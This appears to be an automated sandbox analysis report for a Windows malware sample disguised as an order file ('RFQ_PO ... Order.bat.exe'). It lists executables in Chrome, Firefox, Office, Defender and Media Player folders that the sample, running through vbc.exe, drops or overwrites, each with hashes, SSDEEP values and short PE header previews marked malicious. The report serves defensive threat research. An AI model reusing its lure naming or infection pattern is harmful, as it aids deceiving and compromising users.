Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@......................................... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.789021967279555
Encrypted:	false
SSDEEP:	49152:z83pZ3kd0CuEeN0LUmRXzYs65maDmg27RnWGj:DKuUQY15tD527BWG
MD5:	4614C8E1636BF858FCE3109AF7B7AA4D
SHA1:	531C759D91C3606CE34A4028FF6FAE756D1486E8
SHA-256:	28264F8CE4166D27ECE456949FD0284F605FC1B6B72AA7AFC65730B2BC25BDE8
SHA-512:	EAEEFD05ACF7C6B4E3EBA8982D965F2910789DC2892359C213FD6D79F4B73FEEE2DC427B74BB048EFD11885503D879646734A768348603B859F599E7DFF1C1A0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!......S"... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.670844489289887
Encrypted:	false
SSDEEP:	49152:HErw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGOpndOPcptz6+MZ:xA4oGlcR+glEdOPKzgVZID527BWG
MD5:	1AF4DAAD397237F74EC085E35D33F45D
SHA1:	D4CE8433E8A47BA59F65B3420E83AB5622036F88
SHA-256:	FDD661353F34AAE604EC854668CA916A6AF67C21B6B7F43333BBF6AAA7E7F6CD
SHA-512:	613BDCDDB4554A53C4B0D3DAC96046CE6EEC29C7199BF7FD8D8D5413391A4CC69E78F2348AD77FD3B2BF4A101E1CC651A272C4993EDF290F41BD7A685D74836D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L......;L... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.82977249855355
Encrypted:	false
SSDEEP:	49152:v8ErDqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKj:kv2gM+qwXLg7pPgw/DSZ9PD527BWG
MD5:	D53A28F6CEFA448F5476D1530EE7B504
SHA1:	32F272DB73C96BA6F6B167E51A61B950DD0F67DE
SHA-256:	85B2AEEE79ABB3CABD8F3D0368F26C66915DA14779F69DD79BC850120937A397
SHA-512:	1C1731945EAE36FEF022CC0838DD387788DF6DF8A70D4806B216A64E9E29A9FAACBB46BC93BCB805728E28331664203EC1310DA3A619A6A62DFAA3EEFCE0756B
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L......4K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.829770450947602
Encrypted:	false
SSDEEP:	49152:P8ErDqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKj:Ev2gM+qwXLg7pPgw/DSZ9PD527BWG
MD5:	B19EC0932A4F12E899583472D68FA02A
SHA1:	2467B482FE4CB554F1BA4F0FFD44A996494CC29C
SHA-256:	E5B7576F9846BFA716E4B6CF39A7F1DF16582A78EC50CE777D5AB63FACB74E97
SHA-512:	768E31BDB055FEE033C9D3CA71C1D94DAFDC2DEED021F03AEB22567E5BCDF87A12A9C0DEDACF25A6639C2EF30E7F04515F0E641C15CA26B1E5837D07D5C82EF9
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.....+pK... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.953590297449121
Encrypted:	false
SSDEEP:	24576:StjqL8fH+8aUbp8D/8+xQWA1sqjnhMgeiCl7G0nehbGZpbD:qjKK+81FI/85vDmg27RnWGj
MD5:	06FA822B548C77730F1735784B68166E
SHA1:	5826E012C8E0332040891B51A5F2316AF57186B3
SHA-256:	1C22623059BD2E902F6FDC7170F0CE74E95F81984235BEDA94C3F604D66F712C
SHA-512:	814762F424DCA25E343C37913C7E409C511098351FF322BEE9057DA7A359090EDD47B193E86E246DD9EDAA9682AA229BA7A8DFA87413E8B20F755E9E0B97C423
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P"......L!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.032403287146288
Encrypted:	false
SSDEEP:	49152:rAMsOu3JfCIGnZuTodRFYKBrFxbWp5Dmg27RnWGj:rAMa38ZuTSmD527BWG
MD5:	C2E01E0D0EC3AEA55609EDA9883C220F
SHA1:	38733487B15B48C34B03147BEBB6A84C6C929DA7
SHA-256:	A7812A3BE06D9E19D116319A06F1CB65E0CD82E95C7FF55EBDB1CBFD2DF5B26F
SHA-512:	B5C2F1C2C11FF8BDBB7A738B86376691DACF4B3CA6772B492F7B7299D6210FDF6D763D8E5CA056B7C4017B18169C96FBDA93F965AAB8C5095786F6FD591D6165
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%......C$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.104348808404516
Encrypted:	false
SSDEEP:	24576:1wbK7tnhD4aH6wD2Krx5NgOOagtE8F9sqjnhMgeiCl7G0nehbGZpbD:1SK7Fhslq2EPfOfEoDmg27RnWGj
MD5:	62D7BE7926330B5798A303BADA330473
SHA1:	B02A92BB15DC50BAE30A49FA681ED8F42D9659CD
SHA-256:	EABC5A84390F829B0F72BDF5DDE1124EACD50973428C8A6169D0EA109DFA7647
SHA-512:	9A77137FBF128FA18F753784B186021AD1D3C9118D1F1FA5000ADDDAE18309E02228904167A86525FBE125AE6827A002D83240238E1F4BD39E311B950E433EE4
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@....................................D..... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.1580792784354355
Encrypted:	false
SSDEEP:	24576:LKI7Twj5KDHxJ1FxyD+/wsG1Tbbc9sqjnhMgeiCl7G0nehbGZpbD:Lv7e0j31mD+/wDfbGDmg27RnWGj
MD5:	CA195BEC5473B818BA2642965AD22F63
SHA1:	76E3B94FD78AAFB937BCD00818C489776A1D22CC
SHA-256:	51BEB000F026A0B6C026AFEB0A6F9FC3632F1EF0BE66B60439D2073B93D31CA5
SHA-512:	AD448A0AFE752FA7F6F954588694011979082A1EEDE5C7C757F536B9C24078D678B30BFD3278984B9FCEE021980C4DDD4E026659AE0A6EDD17ACCBC5A3884482
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@.......................................... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1378304
Entropy (8bit):	5.377452042537901
Encrypted:	false
SSDEEP:	12288:RQUVPDHhSWXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kw:CyhSWsqjnhMgeiCl7G0nehbGZpbD
MD5:	68016A02800BAAB45108CA3D2EBF4832
SHA1:	483F8BF91F52EA35D0C1145BA715ADAE1DC98296
SHA-256:	E72572C821F9C534354AB707195F85971141528142132CA8970FF0690D38BB31
SHA-512:	3C3233342676D84849E94417530488649B5110FF83C0B8F113681958F7E732D196FF7C27797264CF07500665878441016D9282884C605596239688C37CE17EC8
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@.............................p........... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...P... ...@..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.22212252444987
Encrypted:	false
SSDEEP:	24576:msFfc1VyFn5UQn652bO4HFsqjnhMgeiCl7G0nehbGZpbD:msFcIn5rJ/Dmg27RnWGj
MD5:	8D06F93D74D4274B4348B6C3F38E1FF0
SHA1:	A7A44B9BF5012F8633C7D40E900F5E1CF3FDF519
SHA-256:	7F4CA0815409803338DAC9736A13588FFF99740B067FCC63EDBB3B494646F962
SHA-512:	0D5B64AFD79095547F37292BA66FDC83C151626893FF18A6A5D2BEB07146E636C52972E77DC8ADAED6751FFD4160DE6962766672BC9CB03B9E905D2D3B225DBE
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@....................................q..... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.494297674597622
Encrypted:	false
SSDEEP:	24576:Zt9o6p4xQbiKI69wpemIwpel9ysqjnhMgeiCl7G0nehbGZpbD:Zt9faQbtl2peapelsDmg27RnWGj
MD5:	8BF7FBE7384CEC16C575F2CBE5C3B225
SHA1:	44DC89818AA111FD97E23D21E5AC5610E324FDB6
SHA-256:	99AD5BB9EBC325E18197809206ABE16DC4D1421D5F93208874C704AB2253CDFE
SHA-512:	3DDE349AF2E0CF61D1947BF3112E44F31090F6176881D58FE312E65BE611C1BEC6961D6D78A2302160C4EA2478894ED931D59DD0ED1C4E7481B6B8745AD34E8D
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@....................................*..... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1356800
Entropy (8bit):	5.34785709875411
Encrypted:	false
SSDEEP:	24576:IQVTZu0JtsqjnhMgeiCl7G0nehbGZpbD:nVTZucDmg27RnWGj
MD5:	C94AE04B5DB3D97303DDB9E3549E9F8C
SHA1:	59B8EBE238864624F39399DA92E5A643484091B8
SHA-256:	7F4E11BDAAEE994A2CC99F46470C2DF57D7651DFD491AB083CC2DDE3D174ED9C
SHA-512:	46BEB6913B97D96410D0F9072AD8AC4CE40EE6AD2E927440A16AD29940377E05557C8FDE3662EBEBED20222DA96A116BFA2A79DFA968E641F81B5AFB00848B75
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................P............ .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...P.......@...t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.808402315870007
Encrypted:	false
SSDEEP:	24576:ZC1vpgXcZHz7sqjnhMgeiCl7G0nehbGZpbD:ZC1vpIcNvDmg27RnWGj
MD5:	79CE77F95747FFF18E30B26927679155
SHA1:	AAE2594FA8338C3C57823BC8882DD02533F78FE7
SHA-256:	E857D140F25A719F39C65B100E63B6A1B57CBB8408DA78E971A96A7DFF0FB813
SHA-512:	8B007473E837F3347F9FB73608B866E392AFE2F2D62D8DCE37EEBF37FD78438356B6CFD62BAD1A2E41CFA257A066D1FBA20AA6FE797A39515612BCE8AEED33DA
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.......................................... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1200128
Entropy (8bit):	5.140043544149065
Encrypted:	false
SSDEEP:	12288:xSwjnXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:xvnsqjnhMgeiCl7G0nehbGZpbD
MD5:	9FEB05E1EE1835574C259610F65FEFDE
SHA1:	E7536A7832149BCB7C296A81F02EF5575213B680
SHA-256:	3D3E948D4680F57F7F6E74499A6C3641F00AF3C7E1D74071DA3A8695F6FF836C
SHA-512:	A911EB1DDAC0BA0113656FF1A4B062BA3D5F1A932274EDF4D2D0B353557B1CA18B58366404DC17749EFD28020BD1B7C8405EA9E0317BC17D1CFE1B363674E717
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@.......................................... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...P...p...@..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1408512
Entropy (8bit):	5.44116704203802
Encrypted:	false
SSDEEP:	24576:/WKntIfGp9sqjnhMgeiCl7G0nehbGZpbD:+8Ie3Dmg27RnWGj
MD5:	97E06E4C368D07B1EA8893369B753049
SHA1:	72A5ACDCBBF49280D99036AC3896E5297EB44EB3
SHA-256:	9CCA700422CD4F797345A8B042ACE94A79EE728EAA75A9A918F5F0908C776E74
SHA-512:	C75CBB790504C587041F291E5BA888A0CF52E4640588B24B5EF05D06298F61B94E305EE1C183EB7DDDBC3ED7849602A69BEF47E60A9FB318976E01FB33098334
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@....................................-:.... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...P.......@...>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1185280
Entropy (8bit):	5.10330432782649
Encrypted:	false
SSDEEP:	12288:8IhTXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:9TsqjnhMgeiCl7G0nehbGZpbD
MD5:	FCEAC56ED8FC7DFCEE437DF7F293511A
SHA1:	5241679054BBE21F5E13254199696BE235A0E3B1
SHA-256:	D87C08C920F09A4A38CD7DB6ECA239400381AD381F52CF579BDC71A4C25DACB8
SHA-512:	6B4C23B50DFC09203F06609BEEDD1763F7AAC6A7032F8F701B3F0DA7A423EE026E85E05E032732D8850341142592D44A8AF002F201580891FD4E9EB028669455
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@....................................eR.... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1531904
Entropy (8bit):	5.421216162529223
Encrypted:	false
SSDEEP:	24576:l8oREwt2ioQ3J+RCsqjnhMgeiCl7G0nehbGZpbD:l8oRpoFGDmg27RnWGj
MD5:	F58D6EEF9AA0EC05244351083C11EE60
SHA1:	46F606512ADB873880D46F45D86F1A38A6C2E2B5
SHA-256:	1812A471F6052EAA7B8429EE94924229385A87288FD5537F271210EFB7983228
SHA-512:	A964AACC076487709294A4D6B4E83DBEC8FD6E802A26920F7144FFF2F6DD73A46477F4C5CFCC5C68FD47338F48832F67126633C4D7175E8AA8C58DD8C9C81BCA
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@....................................X..... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...P.......@... ..............@...........................................................................................................................................................................................................................

C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1341952
Entropy (8bit):	5.238621641138607
Encrypted:	false
SSDEEP:	24576:Cf8HQlDMxHwJ07wCsqjnhMgeiCl7G0nehbGZpbD:CkHQlqwJ0xDmg27RnWGj
MD5:	9856CF8F35D23AD1DD1E0E4FCF802549
SHA1:	E2E83B61D9FF2D6E43543E602438671E3DC311B9
SHA-256:	7288AF1FB11BB28FB21226B1B3585F080056E7E20843D13D695F6DD88FCB4C85
SHA-512:	63B86663D0E3555CB338A9052C5ABE41D77947CFBB00DD089986B6A5F31AC4AF0E4EF51C0C7167F8C396FA62C6DF4F937138A3F42D2F7D2F198867FDED845B5B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x..............a.......r.......r...............r.......r.......r.......ry......r{......r......Rich....................PE..d...B{.?.........."............................@....................................9..... .......... ......................................8b..........................................T.......................(...................@...(...pa..`....................text............................... ..`.rdata..............................@..@.data....&...........z..............@....pdata........... ..................@..@.didat.. ...........................@....rsrc...............................@..@.reloc...P.......@...:..............@...................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1534464
Entropy (8bit):	7.124625010806751
Encrypted:	false
SSDEEP:	24576:aSEmYD6gjGPG45QVDkfXplyTyNsqjnhMgeiCl7G0nehbGZpbD:a5mYD6g2GWQVQf3yTqDmg27RnWGj
MD5:	D9662B59E9C99542FF0D0C7FB61C2935
SHA1:	ECD14D1A830C147D12DA2BA145120149F99A20CD
SHA-256:	E9FBE9A61769DF9ED868CCAC50BB9C3DD92253134FBF7CAD0A6FE03AAFC599FD
SHA-512:	8D03F7FD51A27E8371E01C544C4062B7C7BCED320326AD904FCD1E7207D7A043718ACA575BBBA62F4A0B261B206892AE6A18F73E14EED7F0413567D92766B7B9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."x..f..Ef..Ef..EoaKEd..Err.De..Err.DB..Err.Dh..Err.D}..Ef..E...Err.D]..Err'Eg..Err.Dg..ERichf..E........................PE..d..."..m.........."..........4......@:.........@.......................................... .......... ..........................................,............`...N.................. ...T...........................p...................X...h...@....................text.............................. ..`.rdata...\.......^..................@..@.data....Y.......8..................@....pdata...N...`...P..................@..@.didat...............l..............@....rsrc................n..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ_PO N89397-GM7287-Order.bat.exe.log

Download File

Process:	C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YRtQgzFlDnVSru.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
